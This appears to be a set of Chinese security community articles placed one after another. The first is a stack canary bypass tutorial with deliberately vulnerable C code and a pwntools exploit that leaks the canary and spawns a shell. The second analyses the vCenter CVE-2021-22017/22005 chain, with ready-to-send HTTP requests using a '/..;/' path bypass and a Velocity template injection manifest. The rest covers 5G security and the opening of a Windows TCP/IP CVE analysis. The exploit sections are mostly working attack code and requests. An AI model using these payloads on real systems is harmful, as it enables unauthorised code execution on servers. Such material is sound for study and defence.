栈溢出主要是指向某个变量输入的字节数超过了这个变量向系统空间所申请的栈空间，形成了栈溢出，导致与其相邻的栈空间中的值发生了改变。而我们对于栈溢出的利用方法也是抓住这一点，通过栈溢出进而覆盖跳转类指令（例如ret）所需的eip、ebp值，从而达到劫持控制流的目的。而canary便是属于一种防护栈溢出的手段。
### **canary保护原理：**
当用户开启canary时，系统会在函数开始前先想栈中插入一个cookie，当函数结束，栈帧销毁前会检测栈中cookie值是否被改变。
下面我们通过观察x86架构的局部栈帧结构来理解canary保护。
**一般攻击者在进行栈溢出攻击时，是通过覆盖函数结束时ret的返回值所需的eip来进行程序的控制，而cookie值在ret返回地址return
address的栈空间上面，因此当攻击者覆盖了return
address时同时也会覆盖掉cookie值，这样在函数结束会检测出cookie值发生了改变，导致检测失败，程序中断，避免了程序被攻击者利用。这个cookie值即是canary
value。**
当开启canary后，在函数的序言部分会取fs/gs寄存器0x28/0x14处的值存放在$ebp-0x8的位置，这便是插入cookie值。在函数结束后，会利用xor进行比较判断cookie值是否发生改变。具体命令如下：
//插入cookie的值
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
//xor比较cookie值是否改变
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
如下图，为某函数开始前插入cookie时的操作，
p/x $eax 序言部分查看canary的值，这个canary值会随着每次程序运行进行改变，即它是不固定的！
## 0x02 canary绕过讲解
关于canary的原理讲了这么多，似乎很牛X的样子，那么我们有没有什么办法可以绕过这玩意儿呢？
**这必须得有啊，要不然咱还怎么写下去！**
网上百度出来的也大都如下两种方法：
* 1.爆破canary
* 2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
第一种方法见……（此处省略未来一篇文章，，，似乎，挖坑了！……）
关于第二种方法方法看大都是利用printf配合式化字符串漏洞（例如，$n%08x）进行溢出，度娘一大把，也就不细讲了，这里主要分享一种我自己调试代码出来的一个方法吧
—– ** _printf( &buf)输出时会输出buf所包含的所有区域，而不仅仅是函数分配给buf的缓冲区长度哦！_**
方法可能不是很新奇，但是我个人查资料时并没有发现，所以权当一个方法记录吧！如果有写的不恰当的地方，欢迎大佬们不吝赐教啦！
## 0x03 代码示例
如下，是构造好的一段存在漏洞的源码，
//canary.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
使用如下命令编译程序：（默认开启 NX，ASLR，Canary 保护）
gcc -m32 -no-pie canary.c -o canary.exe
gcc编译指令解析：
-m32 指的是生成 32 位程序；
-no-pie 关闭PIE（Position Independent Executable）
-o 指定输出文件
如下，编译成功
## 0x04 leak canary
### **泄露思路：**
> Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary
> 的低字节，来打印出剩余的 Canary 部分。
> 这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程。
> —来自ctf-wiki ：https://ctf-wiki.github.io/ctf-> wiki/pwn/linux/mitigation/canary-zh/
### **leak过程**
gdb canary.exe 进行程序调试，输入r进行运行程序
如下，下一步输入S将会进入vuln函数。
disass vuln函数的反汇编，观察程序执行前后的操作。具体反汇编如下图：
在函数序言部分插入canary值：
0x080485fc <+6>: mov eax,gs:0x14
0x08048602 <+12>: mov DWORD PTR [ebp-0xc],eax
函数返回前，vuln函数返回前检测是否栈溢出
0x08048640 <+74>: mov eax,DWORD PTR [ebp-0xc]
0x08048643 <+77>: xor eax,DWORD PTR gs:0x14
0x0804864a <+84>: je 0x8048651 <vuln+91>
0x0804864c <+86>: call 0x8048450 <__stack_chk_fail@plt>
结合x86堆栈图，我们可以尝试绘制vuln程序的堆栈图。
由上堆栈图，可以发现read函数读取的buf和canary恰好相邻，buf所占长度为100，canary为4。而我们调试程序发现， **
_Read读取时buf的长度为多少，printf输出buf的长度也是多少，不验证函数给buf的分配的原长度。_**
（PS：这里的表达可能不是很准确哦！因为调试时发现当read读取100个a，其实长度为101，因为字符串结尾还有一个\x00字符，此时printf输出了100个a和一个乱码，这个乱码其实是一个地址空间canary
value， ** _ _所以这里应表达为Read读取时buf的长度为多少，printf输出buf相对应的整数个地址空间！__** ）
read(0, &buf, 0x200u); //可以向buf读取最大范围0x200个字节长度
printf(&buf) //输出buf长度=read读取的长度
## 0x05 exp构造
讲了这么多终于到了payload构造的时刻了，突然还有点小激动了呢！哎呦哎呦~~
### **原理：**
结合上述堆栈图，我们可以构造
**_payload=”A”*100+canary值+unknown+ebx+跳转地址100是因为 &buf所占空间为100_**
我们可以溢出值cookies的低地址，然后通过printf(&buf)获取泄露出来，然后再构造到payload中，跳转地址我们这里可以设置为getshell函数的地址。
### **payload：**
具体python代码构造如下：
#!/usr/bin/env python
from pwn import *
context.binary = 'canary.exe'
#context.log_level='debug'
io=process('./canary.exe') #本地程序交互
get_shell = ELF("./canary.exe").sym["getshell"] # 获取getshell函数的起始地址
io.recvuntil("Hello Hacker!\n") #读取字符串“Hello Hacker!”
#leak Canary
payload = "A"*100 #buf所占栈空间长度为100
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa
io.recvuntil('A'*100) #读取输入的字符串100个A
Canary = u32(io.recv(4))-0xa # 这里减去0xa是为了减去上面的换行符，得到真正的 Canary
log.info("Canary:"+hex(Canary)) #输出Canary保护中cookie的值
#Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)# 使用getshell的函数地址覆盖原来的返回地
io.send(payload)
io.recv()
io.interactive()
文章over了，看到这里了，如果各位看官点个赞再走呗~~，如果您有一些其他的想法，欢迎评论区留言啦！咱评论区见，等你哦~~~
## 0x06 参考链接
> https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stack-intro-zh/
> https://www.jianshu.com/p/3d390a321cb8
> https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/ | 社区文章 |
Author: lz520520@深蓝攻防实验室
# CVE-2021-22017+22005模板注入分析
之前分析了22005，在ceip开启情况下通过log4j写文件的利用，其实除了该漏洞点，22005还有一个collect接口的利用，通过Velocity模板注入来执行代码，但该接口可能无法访问，所以需要结合22017的rhttpproxy
绕过漏洞。
这个低版本没有 vCenter Appliance 6.7d (6.7.0.14000)
可以更新到vCenter Appliance 6.7 Update 3k (6.7.0.45100)
## 漏洞分析
com.vmware.ph.phservice.cloud.dataapp.server.DataAppAgentController
### collect接口请求格式
对比补丁发现发现`/analytics/ph/api/dataapp/agent?action=collect`接口被删除了，所以该接口很可能就是漏洞点，进一步跟进分析。
这个接口有些老版本是可以直接访问的，但2021年的版本做了控制，导致不是所有版本都能访问。
所以需要绕过访问，在这次更新的补丁里有一个rhttpproxy绕过，通过/..;/可绕过，如下URL
/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent
17958471以上接口访问有问题，其他待测试。
根据接口参数要求，必须的参数是`_c`、`_i`、头部字段`X-Deployment-Secret`、以及body，body使用@RequestBody注解就表示是一个json数据，也就是`Content-Type:
application/json`
这里body参数collectRequestSpecJson会通过DataAppAgentRequestDeserializer.deserializeCollectRequestSpec方法进行反序列化转换成CollectRequestSpec对象，里面调用jackson做的反序列化。
看下这个json数据需要哪几个参数，如下所示，有三个参数，格式可得
{"manifestContent": "a1", "contextData": "a2", "objectId": "a3"}
构造数据包发送测试
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: test
Content-Length: 64
{"manifestContent": "a1", "contextData": "a2", "objectId": "a3"}
测试返回404以及错误信息，报错信息就是这部分抛出，调试下
测试发现getAgent报错，agentId是通过四个参数生成，这四个参数相同才是同一个agentId。
collectorId, collectorInstanceId, deploymentSecret, pluginType
观察this._dataAppAgentService实际是DefaultDataAppAgentManager，在这个类看到除了getAgent，还有createAgent，这里先不细究agent创建和获取的过程，但目前看起来，要调用getAgent，需要先createAgent存储一个agent。
### agent创建和获取逻辑
emmm，回头看不细究不行了，getAgent要不报错，需要以下两处都不为null
this._agentRepository.get
this.getActiveAgent
首先
this._agentRepository.get
如下会读取一个文件，如果存在就返回。
/etc/vmware-analytics/agents/vSphere.vapi.6_7.properties
文件名通过getFileName方法生成，通过collectorId和pluginType组成，后缀是固定为.properties，那么可想而知createAgent里肯定有一个创建文件的地方。
先看看createAgent，使用同样的this._agentRepository.get获取，文件名有就抛出异常，如果没获取到就add添加
那么添加其实就是一样的格式去创建这个文件。
文件内容
回过头再看看this.getActiveAgent，是通过agentId的equals方法来判断
和之前判断是一样的，需要四个参数相等才一样。
整理下agentId对象获取的逻辑
1. 判断配置文件是否存在`/etc/vmware-analytics/agents/[agentId.getCollectorId() + pluginType + ".properties"]`
2. 存在后判断List _activeAgents 里是否有agentId，根据他的四个属性相同判断
所以在测试时，如果要根据新的agentId来测试，那么createAgent时，CollectorId或pluginType要不同，否则无法创建一个新的agentId，如果这两个参数不变，仅修改其他两个参数，是创建不成功的，就会导致获取失败。
### createAgent请求格式
那么就找下是否有调用createAgent的位置，如下，然后构造一个请求包，这个接口和上面不同之处没有action参数
大概格式是，body部分是createSpecJson，会反序列化成DataAppAgentCreateSpec对象，该对象也是createAgent的一个参数。
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Content-Type: application/json
X-Deployment-Secret: test
Content-Length: 250
{}
这个对象里是有如下属性，emmm，但需不需要这些参数，还是提交一个空的json就行，还不知道，先传入测试。
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}
最终请求包
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: test
Content-Length: 354
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}
通过修改X-Plugin-Type即可创建新的agentId
创建后就可正常获取了，继续跟进。
### velocity执行流程
createAgent后，再调用collect接口解析manifest，如下是一个manifestContent测试内容，mappingCode内容对应的Velocity模板，所以最终是一个Velocity模板注入。
<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
#set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
#set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
$obj.addProperty("OSTYPE", "VMware can't steal this PoC")##
$obj.addProperty("BUILD", $content-about-build)##
$obj.addProperty("VERSION", $content-about-version)##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>
com.vmware.ph.phservice.collector.internal.cdf.mapping.ResourceItemToJsonLdMapping#map
跟中到如下位置，解析manifest获取mappingCode，调用VelocityHelper.executeVelocityExpression执行velocity表达式
堆栈太长，完整的如下
executeVelocityExpression:184, VelocityHelper (com.vmware.ph.phservice.collector.internal.cdf.mapping.velocity)
map:92, ResourceItemToJsonLdMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:30, ResourceItemToJsonLdMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:24, SafeMappingWrapper (com.vmware.ph.phservice.collector.internal.cdf.mapping)
applyItemMappings:85, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:62, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:26, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:36, IndependentResultsMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:17, IndependentResultsMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:109, QueryServiceCdfCollector$NamedQueryResultSetToCollectedPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf)
map:87, QueryServiceCdfCollector$NamedQueryResultSetToCollectedPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf)
apply:124, QueryServiceCollector$ResultIteratorFactory$2 (com.vmware.ph.phservice.collector.internal.data)
apply:121, QueryServiceCollector$ResultIteratorFactory$2 (com.vmware.ph.phservice.collector.internal.data)
transform:799, Iterators$8 (com.google.common.collect)
next:48, TransformedIterator (com.google.common.collect)
next:48, TransformedIterator (com.google.common.collect)
next:558, Iterators$5 (com.google.common.collect)
next:558, Iterators$5 (com.google.common.collect)
processStructuredDataCollectors:261, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collectAndUpload:172, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collect:127, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collectAndSend:160, SpecsCollector (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:91, SpecsCollector (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:40, ConnectionClosingCollectorWrapper (com.vmware.ph.phservice.collector.internal.core)
collect:337, DefaultCollectorDataAppAgent (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
access$201:22, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:89, PermitControlledCollectorDataAppAgentWrapper$3 (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:87, PermitControlledCollectorDataAppAgentWrapper$3 (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
executeWithPermit:112, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:86, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:213, DataAppAgentController$3 (com.vmware.ph.phservice.cloud.dataapp.server)
call:204, DataAppAgentController$3 (com.vmware.ph.phservice.cloud.dataapp.server)
run:332, WebAsyncManager$5 (org.springframework.web.context.request.async)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
新的 Velocity 版本有一些黑名单来阻止对“java.lang.Class”类方法的调用,就看上下文是否有一些变量存在操作空间。
### velocity poc分析
所以看是否可以通过velocity执行命令或上传文件
#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
#set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
#set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
$obj.addProperty("OSTYPE", "VMware can't steal this PoC")##
$obj.addProperty("BUILD", $content-about-build)##
$obj.addProperty("VERSION", $content-about-version)##
上面是公开的poc,只会回显一些系统属性，`$LOCAL-resourceItem`、`$content-about-build`、`$content-about-version`都是context里已有的变量。
这里通过调试获取context里的属性做测试，测试代码如下
Field contextF = Class.forName("org.apache.velocity.VelocityContext").getDeclaredField("context");
contextF.setAccessible(true);
HashMap m = (HashMap) contextF.get(this.velocityInvocationContext.velocityContext);
NamedPropertiesResourceItem namedPropertiesResourceItem = (NamedPropertiesResourceItem) m.get("LOCAL-resourceItem");
namedPropertiesResourceItem.getResourceItem().getKey();
$LOCAL-resourceItem.resourceItem.getKey()，这里使用了两种方式获取对象属性，getKey()就是对象自带的方法，而如果是resourceItem，就会自动调用getResourceItem()来获取属性，毕竟`_resourceItem`是私有属性，没法直接获取。
从第二行的`$modelKey.value:$modelKey.serverGuid`也能看出
所以改成这样也是可以执行的
或
$LOCAL-cdf20Result变量可获取VelocityJsonLd，该类最终会转换成返回的json数据。
VelocityHelper.executeVelocityExpression("#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##\n" +
"#set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")##\n" +
"#set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))##\n" +
"$obj.addProperty(\"OSTYPE\", \"VMware can't steal this PoC\")##\n" +
"$obj.addProperty(\"BUILD\", $content-about-build)##\n" +
"$obj.addProperty(\"VERSION\", $content-about-version)##", this.velocityInvocationContext.velocityEngine, this.velocityInvocationContext.velocityContext, logTag);
this.velocityInvocationContext.velocityJsonLd.object;
转换成json返回
### velocity GLOBAL-logger利用构造
既然已经清楚了poc是怎么构造的，那么如何getshell，自然是从context里已有的变量里下手，其中注意到有个`GLOBAL-logger`,是log4j的实例，之前分析的漏洞点就是通过log4j写文件的。
我们调试下看看效果，先尝试获取该变量。
log4j的配置文件路径/etc/vmware-analytics/log4j.properties，log4j日志路径在配置文件里写死了。
然后查一下log4j运行时怎么修改日志路径。
[https://www.cnblogs.com/xiaohu-v587/p/8463814.html](https:_www.cnblogs.com_xiaohu-v587_p_8463814)
当然这个代码是log4j里的，和common-logging包里的还有些差别，但问题不大，可参考这个编写velocity代码。
成功写入
另外简单看了上下文其他几个变量，也没有利用点，如果有大佬发现可一起讨论。
## 漏洞验证
返回201，createAgent接口存在，并且创建agent成功，每次请求需要修改X-Plugin-Type
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: MoWtrXYtWo
Accept-Encoding: gzip, deflate
Connection: close
{}
返回200，collectAgent接口存在，每次请求需要修改X-Plugin-Type
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: MoWtrXYtWo
Accept-Encoding: gzip, deflate
Connection: close
{}
## 漏洞利用
createAgent
每次请求修改X-Plugin-Type
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: test
Content-Length: 354
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}
collectAgent
获取信息
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2065
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: BafwKlMbWp
Accept-Encoding: gzip, deflate
Connection: close
{"manifestContent": "<manifest recommendedPageSize=\"500\">\n <request>\n <query name=\"vir:VCenter\">\n <constraint>\n <targetType>ServiceInstance</targetType>\n </constraint>\n <propertySpec>\n <propertyNames>content.about.instanceUuid</propertyNames>\n <propertyNames>content.about.osType</propertyNames>\n <propertyNames>content.about.build</propertyNames>\n <propertyNames>content.about.version</propertyNames>\n </propertySpec>\n </query>\n </request>\n <cdfMapping>\n <indepedentResultsMapping>\n <resultSetMappings>\n <entry>\n <key>vir:VCenter</key>\n <value>\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n <resourceItemToJsonLdMapping>\n <forType>ServiceInstance</forType>\n <mappingCode><![CDATA[\n #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n $obj.addProperty(\"MSG\", \"exist\")\n $obj.addProperty(\"OSTYPE\", $content-about-osType)\n $obj.addProperty(\"BUILD\", $content-about-build)\n $obj.addProperty(\"VERSION\", $content-about-version)]]>\n </mappingCode>\n </resourceItemToJsonLdMapping>\n </value>\n </value>\n </entry>\n </resultSetMappings>\n </indepedentResultsMapping>\n </cdfMapping>\n <requestSchedules>\n <schedule interval=\"1h\">\n <queries>\n <query>vir:VCenter</query>\n </queries>\n </schedule>\n </requestSchedules>\n</manifest>", "contextData": "a2", "objectId": "a3"}
最后编写利用，效果如下
## 补丁分析
DataAppAgentController的每个方法里其实都会调用DataAppAgentId，之前的补丁分析这个类有做一个id过滤，而这里其实没做其他改动，只是多一个IncorrectFormat异常捕捉。所以之前的DataAppAgentId补丁和processTelemetry是没有关系的。
而存在漏洞的collect接口被直接删除掉了。 | 社区文章 |
# 5G安全简要分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.绪论
从2018年的第一版5G标准（R15）到今年7月3日发布的第一个演进版本的5G标准（R16），5G标准愈加完善。同时，为有效保护5G通信的安全，其对应的安全标准也同时发布。
相对于传统的移动通信网络，5G通信技术大量的使用网络虚拟化等技术，降低网络平台的异构性，增加通用基础设施的建设。这一方面，降低了网络部署成本，另一方面，却增加了更多的攻击面。通用的基础技术，意味着攻击者可以采用一些传统IT领域的网络攻击技术发起攻击。另外，由于5G新的特性，也引入了一些新的安全特性。
为更好的了解5G攻防的相关技术，本文对5G通信网络可能会面临的安全风险进行简要介绍。
## 2.研究背景
### 5G的产生
5G全称是第五代移动通信技术，从名称中也可以看出之前有了第一代、二代…直到四代。
1G技术：诞生于上世纪80年代，以语音业务为主；
2G技术：诞生于上世纪90年代，以语音和短信业务为主；
3G技术：诞生于本世纪初，以语音、短信和多媒体为主；
4G技术：2012年世界无线电大会上，国际电信联盟无线电部门发布，以互联网业务为主；
5G技术：2018年6月发布了第一版5G标准（R15），其应用场景从移动互联网拓展到工业互联网、物联网等场景，并于2020年7月3日发布了第一个演进版本的5G标准（R16）。
### 5G应用场景
5G由于其具备传输效率快，传输数据量大等特性，可以被大量的应用在物联网领域。
另外，人们也将5G的应用场景分为如下图的三类，并且依据不同的业务场景具有不同的安全需求。
### 5G网络架构
## 3.安全分析
针对5G技术的安全分析主要可分为三部分内容，关键技术、应用场景以及结构性安全分析。
### 3.1关键技术安全分析
关键技术安全分析主要针对5G中采用的网络虚拟化以及网络切片等关键技术进行安全性分析
#### 软件定义网络
控制器安全问题，SDN的网络规则都采用控制器来完成，而绝大多数的控制器缺乏安全保护机制。
SDN可编程性，由于它的可编程性，攻击者可利用这一特性，编写恶意控制逻辑代码。
#### 网络功能虚拟化
计算、存储及网络资源共享化引入风险，由于资源的共享化，会导致数据安全出现问题，比如，某一网络资源被多个功能调用，不同功能对数据的调用，可能会导致数据在不同功能间的横向传播；
硬件设备虚拟化后，会将传统的硬件设备软件化，导致传统的硬件物理边界消失，引入软件安全的问题。攻击者可能会利用软件漏洞，发起攻击。这样也可能导致病毒的扩散
#### 网络切片技术
网络切片技术的安全分析，可以分为用户与切片间、不同切片间、切片内网络功能间的安全。
其中，用户和切片间安全，包括用户认证与用户通信安全，用户认证，需保证接入用户的合法性，防止非法用户接入；用户通信安全，保证用户通信的合法性，防止数据被篡改。
不同切片间安全，某一切片遭受到攻击时，不应该影响到别的切片，比如在某一切片遭受到DDos攻击时，其他切片也可以正常访问。同时，终端设备同时连接不同切片时，防止切片间的数据泄露。
切片内网络功能间的通信应保证安全，注意通信的鉴权、验证。
#### 边缘计算
边缘计算更加接近物理设施，更容易受到攻击，存在隐私安全的问题。比如，攻击者可以利用已攻破的边缘设施，获取设备隐私信息。同时，边缘计算平台上部署的应用会共享资源，单一应用被攻破可能会影响到其他应用。
#### 网络能力开放
开放网络，意味着开放攻击接口。在没有安全验证机制的接口内，攻击者几乎可以为所欲为。所以需建立有有效安全验证机制的安全接口，防止攻击者进行攻击。
另外，这也会引入互联网通用协议的安全性问题，比如可能出现利用通用协议漏洞攻击设备的情况。
### 3.2应用场景安全分析
#### 增强移动宽带（eMBB）场景
超大流量对现有安全防护手段形成挑战，现有IDS、IPS、防火墙等防护手段严重依赖于协议解析技术，时间消耗性过大
需依据业务场景选用不同的安全措施，比如在AR/VR对关键信息进行加密
#### 超可靠低时延通信（uRLLC）场景
安全算法/协议需要低时延，接入验证、数据加密传输都会增加时延，需设计低时延的安全验证及数据安全传输机制
复杂安全机制部署受限，过于复杂的安全机制无法有效保护系统，安全机制既要保证安全又要足够高效
#### 海量机器类通信（mMTC）场景
设备异构性强，该类场景部署设备种类繁多，安全防护难度较大，需采用群组认证技术
设备计算能力较弱，物联网设备仅有有限的计算能力，需设计轻量级的安全算法、简单高效的安全协议
### 3.3结构性安全分析
## 4.安全措施
## 5.结论
本文主要对5G的安全问题进行了简要的分析，并在此基础上，提出了安全措施。从文中也可看出，一种新技术的产生，会产生新的安全需求。一方面，新技术会引入整合旧有的技术，在这种情况下，会产生许多传统领域内固有的安全风险；另一方面，会设计出一种之前没有的东西，而这些会有新型的安全防护需求，需打破之前的认识，设计出合理有效的安全防护措施。
总之，伴随着新技术的不断产生，相关的安全防护需求任重而道远。 | 社区文章 |
# CVE-2021-24074 TCP/IP协议栈漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2021年2月份的微软补丁中，修复了一组Windows
TCP/IP协议栈的漏洞，包括两个远程代码执行(RCE)漏洞（[CVE-2021-24074](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24074)、[CVE-2021-24094](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094)）和一个拒绝服务(DOS)漏洞（[CVE-2021-24086](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086)）。由于漏洞出现在TCP/IP协议栈中，危险较大，CVSS给出的评分分为9.8/8.4，7.5/6.5。其中，CVE-2021-24086和CVE-2021-24094出现在Windows
IPv6堆栈模块中，CVE-2021-24074出现在Windows Ipv4堆栈处理模块中。本篇分析文章重点针对CVE-2021-24074进行分析。
## 1.初步分析
首先查找该漏洞的相关信息，发现除了微软官方漏洞公告信息之外，基本没有漏洞的相关信息，且该漏洞是微软自己的安全团队发现的。公告信息中有关于漏洞的缓解方法:
